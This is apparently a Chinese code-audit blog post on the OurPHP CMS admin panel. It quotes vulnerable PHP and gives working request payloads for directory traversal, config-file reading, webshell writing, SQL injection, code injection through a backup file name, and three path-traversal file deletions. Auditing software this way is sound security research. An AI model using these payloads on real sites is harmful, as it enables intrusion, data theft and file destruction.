写在前面
这是代码审计的第四篇OurPHP,最近实验作业ddl好多,整的心里边烦躁,静下心来看看代码
漏洞分析
目录遍历漏洞
还是从后台模板开始看,随便点击一个模板看看url /client/manage/ourphp_filebox.php?path=user/css&dir
我们可以定位到对应的执行文件函数处
首先针对path变量
1 2 3 4 5 6 7 8
| if(empty($_SESSION['ourphp_out'])) { $file = listDirFiles('../../templates/'.$_GET['path']); $file2 = '../../templates/'.$_GET['path']; }else{ $file = listDirFiles('../../'.$_GET['path']); $file2 = '../../'.$_GET['path']; }
|
跟进listDirFiles
函数,可以看到是一个常规的递归读取目录下的文件并返回所有的文件名集合。而前面并未对path变量作任何限制,所以存在目录遍历,然后看怎么回显至页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| function listDirFiles($dir) { $arr = array(); if (is_dir($dir)) { $d = opendir($dir); if ($d) { while (($file = readdir($d)) !== false) { if ($file != '.' && $file != '..') { if (is_dir($file)) { $arr[$file] = listDirFiles($file); } else { $arr[] = $file; } } } } closedir($d); } return $arr; }
|
这里就用到了dir的作用,也就是如果存在dir传参,就会根据不同的文件形式,包括.
和..
都作成列表展示在页面上
那就很简单了,直接读一下配置文件对应目录(之前设置了一个口令)
任意文件读取
和上面类似,我们随便点一个文件看看传参
/client/manage/ourphp_filebox.php?path=../../templates/user/css/style.css&edit
,很简单直接保证带着这两个参数,就能回显处任意文件内容
1
| path=../../config/ourphp_config.php&edit
|
任意文件写入
接着模板的思路来,随便点一个模板进行编辑然后保存,url为/client/manage/ourphp_filebox.php?path=edit&ok
,POST传参code和md
定位到对应代码处,可以看到这里首先会对code的内容以及md进行检验md2为safecode
1
| 'safecode' => 'uYeFBbFvWkT9i7FzcrCjknBKIBtXIMR4FvWkT9', // 安全校验码
|
这块对md的检验还是很死的,但是我们可以配合前面的任意文件读方法来获取到。我们往下看。$_SESSION['ourphp_out']
这个Session不为空的话,我们实际上是可以写马的,因为基本没有对code作过滤。因此只要在md[0]处写好文件名就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| if(isset($_GET['ok'])) { if(empty($_POST['code']) || empty($_POST['md'])){ $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>'; } $md = explode("|", $_POST['md']); $md2 = MD5($md[0].$ourphp['safecode']); if($md[1] != $md2){ $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>'; }
$code = $_POST['code']; if(get_magic_quotes_gpc()) { $code = stripslashes($code); } $code = str_replace("<ourphp_", "<textarea", $code); $code = str_replace("</ourphp_>", "</textarea>", $code);
if(empty($_SESSION['ourphp_out'])) { if(stristr($code,"<?php") || stristr($code,"<%") || stristr($code,"language=\"php\"") || stristr($code,"language='php'") || stristr($code,"language=php") || stristr($code,"<?=") || stristr($md[0],".php") || stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini")) { $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>'; }else{
$filego = fopen($md[0],'w'); fwrite($filego,$code); fclose($filego);
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';
}
}else{ if(stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini")) { $list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>'; }else{
$filego = fopen($md[0],'w'); fwrite($filego,$code); fclose($filego);
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';
}
}
}
|
这里再来探究一下$_SESSION['ourphp_out']
是咋得到的,全局搜索可定位到
跟入pw方法,参数均可控。这里我们可以看到这个字段不为空的条件就是两个检验值符合条件,同样配合任意文件读取可得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function pw($a,$b) { global $db,$ourphp; session_start(); if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){ $_SESSION['ourphp_out'] = "ourphp"; }else{
if(empty($_SESSION['ourphp_out'])) { include 'ourphp_checkadmin.php';
}else{
session_start();
}
} }
|
1
| validation=831266&safecode=uYeFBbFvWkT9i7FzcrCjknBKIBtXIMR4FvWkT9
|
因此我们就可以在根目录写一个马
1
| path=edit&ok&validation=831266&code=uYeFBbFvWkT9i7FzcrCjknBKIBtXIMR4FvWkT9
|
SQL注入
广告管理处,随便点一个进行编辑,保存。路由信息为/client/manage/ourphp_adview.php?ourphp_cms=edit&id=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| elseif ($_GET["ourphp_cms"] == "edit"){
if (!empty($_POST["OP_Adclass"])){ $OP_Adclass = implode(',',$_POST["OP_Adclass"]); }else{ $OP_Adclass = ''; }
$query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id'])); $ourphp_font = 1; $ourphp_class = 'ourphp_ad.php?id=ourphp'; require 'ourphp_remind.php'; }
|
这里可以看到如果传递了get参数outphp_cms
为edit值,就会存在一个update语句,其中id因为会被转为整数我们没啥可利用的,关注POST传参OP_Adcontent值上,先跟入admin_sql方法。
这里可以看到里面就是简单的替换单引号
以及OP_Adclass值更是没任何过滤,并且是由POST传参过来(传递一个数组)
首先就是我们可以回显出任意想要的数据
1
| OP_Adclass[]=', OP_Adclass=version() #
|
任意文件删除1
该网站还有一个数据库备份的功能,关注路由/client/manage/ourphp_bakgo.php
sink点如下,会对dfile里面的参数值进行删除,同时要满足filedeled值为1
我们往前看有无干扰执行到这里的语句
对dir参数有一个验证操作
实际上底下会去对目录中的文件进行计数($dfileNo),如果不为0的话将会干扰到后面的文件删除操作,但是注意到我们可以控制filedeled值,使得不进入循环。当然也可以dir随便传一个让其创建一个空目录,其中自然也就没有文件计数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| $dfileNo=0; $open=opendir($_POST["dir"]); $delhtml=""; while($afilename=readdir($open) and !$_POST[filedeled]){ $checked=""; if(substr($afilename,0,strlen($_POST[filename]))==$_POST[filename]){ $checked="checked"; } if(is_file("$_POST[dir]/$afilename")){ $delhtml.=tabledata("$afilename|".date("Y-m-d",filectime("$_POST[dir]/$afilename"))."|".num_bitunit(filesize("$_POST[dir]/$afilename"))."|<center><input name='dfile[$dfileNo]' type='checkbox' value='$_POST[dir]/$afilename' $checked></center>"); $dfileNo++; } }
if($dfileNo){ $_POST[filedeled]=1; fheader(); echo tabletext("'$_POST[dir]/'中以下文件已存在,它们可能被覆盖或成为额外的文件。<br>您可以有选择地删除它们或返回上一步重新设定:","98%"); echo tablestart("选择要删除的文件:","100%"); echo tabledata("<strong>文件名</strong>|<strong>修改日期</strong>|<strong>大小</strong>|<center><strong>反选</strong><input type='checkbox' name='checkbox' value='' onclick='selrev();'></center>","31%|32%|21%|16%"); echo $delhtml; echo tableend(); echo " <script language='JavaScript'> function selrev() { with(myform) { for(i=0;i<elements.length;i++) { thiselm = elements[i]; if(thiselm.name.match(/dfile\[\w+\]/)) thiselm.checked = !thiselm.checked; } } } </script>"; fbutton('submit','dosubmit','删除并继续'); fbutton('reset','doreset','重置'); ffooter(); exit; }
|
然后保证有back_type这个参数为partsave即可
再往上,有一个POST传参
action参数需要满足databackup
在往上有个eval语句,跟入看一下
首先是frameset_html()
,需要控制参数framename值不让程序提前结束
我们在根目录创建一个目录
1
| filedeled=1&dfile[]=../../test/RacerZ&back_type=partsave&dir=../../function/backup/&action=databackup
|
任意文件写入2
还是看数据库备份功能,这里用户可控参数filename
被直接进行了拼接到data中,然后调用writefile()
,跟进
这里就有一个文件写入操作,且可以看到后缀名为.php
当然这个文件的内容由于同时也会出现在文件名中,所以是否能执行依赖于不同的操作系统
当然前面还要绕过那些exit影响的判断句,多了一个page判断
1 2
| filename=1; phpinfo(); // &dir=../../function/backup/&action=databackup&page=1&back_type=partsave
|
任意文件删除2
Banner管理这里也支持删除功能,我们针对路由client/manage/ourphp_banner.php?ourphp_cms=del&id=2
看下
OP_Adminpower不用管经过调试会满足条件;然后是outphp_rs[0]参数可以从数据库里取
同时后台是提供了添加Banner的功能的,所以直接添加就好,对应会去执行
1
| $db -> insert("`ourphp_banner`","`OP_Bannerimg` = '".$ourphp_xiegang."',`OP_Bannertitle` = '".admin_sql($_POST["OP_Bannertitle"])."',`OP_Bannerurl` = '".admin_sql($_POST["OP_Bannerurl"])."',`OP_Bannerlang` = '".admin_sql($_POST["OP_Bannerlang"])."',`time` = '".date("Y-m-d H:i:s")."',`OP_Bannerclass` = '".admin_sql($_POST["OP_Bannerclass"])."',`OP_Bannertext` = '".$ourphp_text."'","");
|
我们设置好OP_Bannerimg
字段,这里先往后看
1
| OP_Bannerlang=cn&OP_Bannertitle=a&OP_Bannertext%5B%5D=b&OP_Bannertext%5B%5D=c&OP_Bannertext%5B%5D=d&OP_Bannerimg=<exploit>&OP_Bannerurl=http%3A%2F%2F&OP_Bannerclass=0&submit=%E6%8F%90+%E4%BA%A4
|
这里还有一个需要满足的是查出来的OP_Webfile字段需要为2
这里我在后台定位到功能管理模块,同样可以修改,对应的参数值为OP_Webfile
之后就是可以利用了,后台修改对应模块内容即可
1
| OP_Bannerlang=cn&OP_Bannertitle=a&OP_Bannertext%5B%5D=b&OP_Bannertext%5B%5D=c&OP_Bannertext%5B%5D=d&OP_Bannerimg=./function/uploadfile/../../test/RacerZ&OP_Bannerurl=http%3A%2F%2F&OP_Bannerclass=0&submit=%E6%8F%90+%E4%BA%A4
|
通过Banner列表展示模块可以看到新插入的id值
然后访问刚才的删除路由
1
| client/manage/ourphp_banner.php?ourphp_cms=del&id=4
|
任意文件删除3
路由client/manage/ourphp_imgdel.php
这个太简单了,直接删就行
1
| url=./function/uploadfile/../../test/RacerZ
|
参考链接
https://ego00.blog.csdn.net/article/details/117818842
https://y4tacker.blog.csdn.net/article/details/115794004